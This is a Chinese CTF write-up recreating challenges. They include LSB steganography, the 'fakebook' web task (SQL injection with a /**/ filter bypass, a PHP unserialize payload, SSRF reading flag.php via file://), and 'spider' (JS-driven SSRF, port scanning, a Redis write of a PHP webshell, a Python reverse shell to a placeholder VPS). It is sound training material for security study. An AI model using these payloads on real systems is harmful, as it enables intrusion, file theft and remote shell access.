[toc] 太菜了,都是大佬们交的flag 复现几道有意思的题
MISC minified Stegsolve打开图片,选择0通道发现是LSB隐写。 分别把alpha,green和blue的0通道另存为再进行异或处理,最终在alpha和green的异或中发现flag。
WEB fakebook 访问robots.txt 存在备份泄露,把user.php.bak下载下来
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 <?php class UserInfo { public $name = "" ; public $age = 0 ; public $blog = "" ; public function __construct ($name , $age , $blog ) { $this ->name = $name ; $this ->age = (int )$age ; $this ->blog = $blog ; } function get ($url ) { $ch = curl_init(); curl_setopt($ch , CURLOPT_URL, $url ); curl_setopt($ch , CURLOPT_RETURNTRANSFER, 1 ); $output = curl_exec($ch ); $httpCode = curl_getinfo($ch , CURLINFO_HTTP_CODE); if ($httpCode == 404 ) { return 404 ; } curl_close($ch ); return $output ; } public function getBlogContents ( ) { return $this ->get($this ->blog); } public function isValidBlog ( ) { $blog = $this ->blog; return preg_match("/^(((http(s?))\:\/\/)?)([0-9a-zA-Z\-]+\.)+[a-zA-Z]{2,6}(\:[0-9]+)?(\/\S*)?$/i" , $blog ); } }
注册一个blog为http://www.baidu.com的用户,可以看到请求到的百度的资源,network上没有本地请求记录,即存在SSRF。可是在user.php中blog的正则匹配很严格。 view.php的no参数是可以注入的,过滤了union select用/**/可以绕过。 payload:view.php?no=-6 unIon/**/select 1,group_concat(no,'--',username,'--',passwd,'--',data),3,4 from users
发现data是一个序列化的数据,报错中也可以看出用了unserialize()函数,另外可以看到报错的地方爆出了绝对路径。那么在这里我们就可以通过注入来控制反序列化,再利用 ssrf 读文件。 payload:/view.php?no=-6 unIon/**/select 1,2,3, 'O:8:"UserInfo":3:{s:4:"name";s:5:"admin";s:3:"age";i:12;s:4:"blog";s:29:"file:///var/www/html/flag.php";}'
查看页面源代码可以看到data URI协议,点击即可getflag
spider hint:动态爬虫,Redis Getshell。8000端口存在apache2 复现的时候环境坏了,爬虫好像不会工作了只能按着wp理一下思路。 访问 robots.txt 发现存在 /get_sourcecode 文件,访问该URL提示 NOT 127.0.0.1 。 尝试伪造IP绕过,发现并不能,转换思路。首页的爬虫分析系统会执行 JS 代码,我们构造如下代码,利用ajax,通过服务器执行 JS代码来访问 /get_sourcecode 文件。
1 2 3 4 5 6 7 8 9 10 <script> request = new XMLHttpRequest(); request.onreadystatechange = function(){ if (request.readyState===4 && request.status===200){ document.write("<a href=''>"+request.responseText+"</a>"); } } request.open("GET","http://127.0.0.1:80/get_sourcecode",true); request.send(); </script>
当服务器执行 AJAX 请求后,会把返回结果存在 id 为 flag 的 a标签 中。 拿到 get_sourcecode 源代码,具体如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 from flask import Flask, request from flask import render_templateimport osimport uuidimport tempfileimport subprocessimport timeimport jsonapp = Flask(__name__ , static_url_path='' ) def proc_shell (cmd ): out_temp = tempfile.SpooledTemporaryFile(bufsize=1000 *1000 ) fileno = out_temp.fileno() proc = subprocess.Popen(cmd, stderr=subprocess.PIPE, stdout=fileno, shell=False ) start_time = time.time() while True : if proc.poll() == None : if time.time() - start_time > 30 : proc.terminate() proc.kill() proc.communicate() out_temp.seek(0 ) out_temp.close() return else : time.sleep(1 ) else : proc.communicate() out_temp.seek(0 ) data = out_temp.read() out_temp.close() return data def casperjs_html (url ): cmd = 'casperjs {0} --ignore-ssl-errors=yes --url={1}' .format (os.path.dirname(__file__) + '/casper/casp.js' ,url) cmd = cmd.split(' ' ) stdout = proc_shell(cmd) try : result = json.loads(stdout) links = result.get('resourceRequestUrls' ) return links except Exception, e: return [] @app.route('/' , methods=['GET' , 'POST' ] ) def index (): if request.method == 'GET' : return render_template('index.html' ) else : f = request.files['file' ] filename = str (uuid.uuid1()) + '.html' basepath = os.path.dirname(__file__) upload_path = os.path.join(basepath, 'static/upload/' , filename) content = f.read() if 'level=low_273eac1c' not in content and 'dbfilename' in content.lower(): return render_template('index.html' , msg=u'Warning: 发现恶意关键字' ) with open (upload_path, 'w' ) as f: f.write(content) url = 'http://127.0.0.1:80/upload/' +filename links = casperjs_html(url) links = '\n' .join(links) if not links: links = 'NULL' links = 'URL: ' +url+'\n' +links return render_template('index.html' , links=links) @app.route('/get_sourcecode' , methods=['GET' , 'POST' ] ) def get_code (): if request.method == 'GET' : ip = request.remote_addr if ip != '127.0.0.1' : return 'NOT 127.0.0.1' else : with open (os.path.dirname(__file__)+'/[run.py](qq://txfile/#)' ) as f: code = f.read() return code else : return '' @app.errorhandler(404 ) def page_not_found (error ): return '404' @app.errorhandler(500 ) def internal_server_error (error ): return '500' @app.errorhandler(403 ) def unauthorized (error ): return '403' if __name__ == '__main__' : pass
在第61行处发现 redis 关键字 dbfilename ,猜测题目存在 一个 redis 未授权访问,攻击思路应该是通过 redis 写马 getshell。我们先通过 JS 代码探测主机开放了哪些web端口。(这里有个小坑,通过 JS 代码并不能发现 redis 的端口6379是开放的,但是该端口确实是开放的。有人说 JS 代码只能探测Web类端口,在探测redis端口的时候回卡在等待界面,具体原因还需细究。) 通过JS端口探测
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 <a id ="result" > </a > <script > var data = document .getElementById('result' ).innerHTML;var TagName = document .getElementsByTagName("body" )[0 ];ports=[80,81,88,8000,8080,8088]; for (var i in ports){ var script = document .createElement("script" ); poc = "data += '" + ports[i] + " OPEN; '; document.getElementById('result').innerHTML = data;" script.setAttribute("src" ,"http://127.0.0.1:" + ports[i]); script.setAttribute("onload" , poc); TagName.appendChild(script); } </script >
发现 8000端口开放 着,猜测可能运行着一个PHP 的Web服务。再次通过 JS 代码,操纵 redis 并写入 shell :
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 <a href ="" id ="flag" > test</a > level=low_273eac1c <script > var xmlHttp;if (window .XMLHttpRequest){ xmlHttp = new XMLHttpRequest(); } else { xmlHttp = newActiveXObject("Microsoft.XMLHTTP" ); } var formData = new FormData();formData.append("0" ,"flushall" +"\n" +"config set dir /var/www/html/" +"\n" +"config set dbfilename shell.php" +"\n" +'set 1 "\n\n<?php header(\'Access-Control-Allow-Origin:*\'); echo file_get_contents($_GET[_]);?>\n\n"' +"\n" +"save" +"\n" +"quit" ); xmlHttp.open("POST" ,"http://127.0.0.1:6379" ,true ); xmlHttp.send(formData); </script >
因为不同端口,所以存在跨域,需要加上Access-Control-Allow-Origin:* 头部。(或者直接PHP反弹SHELL也可以)然后再构造一个HTML。 接着构造 JS 代码访问我们构造的PHP文件即可获得flag:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 <a href ="" id ="flag" > test</a > <script type ="text/javascript" > function loadXMLDoc ( ) { var xmlhttp; if (window .XMLHttpRequest){ xmlhttp=new XMLHttpRequest(); } else { xmlhttp=new ActiveXObject("Microsoft.XMLHTTP" ); } xmlhttp.onreadystatechange=function ( ) { if (xmlhttp.readyState==4 && xmlhttp.status==200) { document .getElementById("flag" ).innerHTML=xmlhttp.responseText; } } xmlhttp.open("GET" ,"http://127.0.0.1:8000/shell.php?_=flag.php" ,true ); xmlhttp.send(); } loadXMLDoc(); </script >
直接反弹shell也可以,测试的时候发现直接用bash反弹不行,但是用python代码可以反弹回来,可能是题目环境限制了一些关键词。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 <a href="" id="flag">test</a> <script type="text/javascript"> function loadXMLDoc(){ var xmlhttp; if (window.XMLHttpRequest){// code for IE7+, Firefox, Chrome, Opera, Safari xmlhttp=new XMLHttpRequest(); } else{// code for IE6, IE5 xmlhttp=new ActiveXObject("Microsoft.XMLHTTP"); } xmlhttp.onreadystatechange=function(){ if (xmlhttp.readyState==4 && xmlhttp.status==200) { document.getElementById("flag").innerHTML=xmlhttp.responseText; } } xmlhttp.open("GET","http://127.0.0.1:8000/shell.php?_=`python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"VPSIP\",端口));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/sh\",\"-i\"]);'`;",true) xmlhttp.send(); } loadXMLDoc(); </script>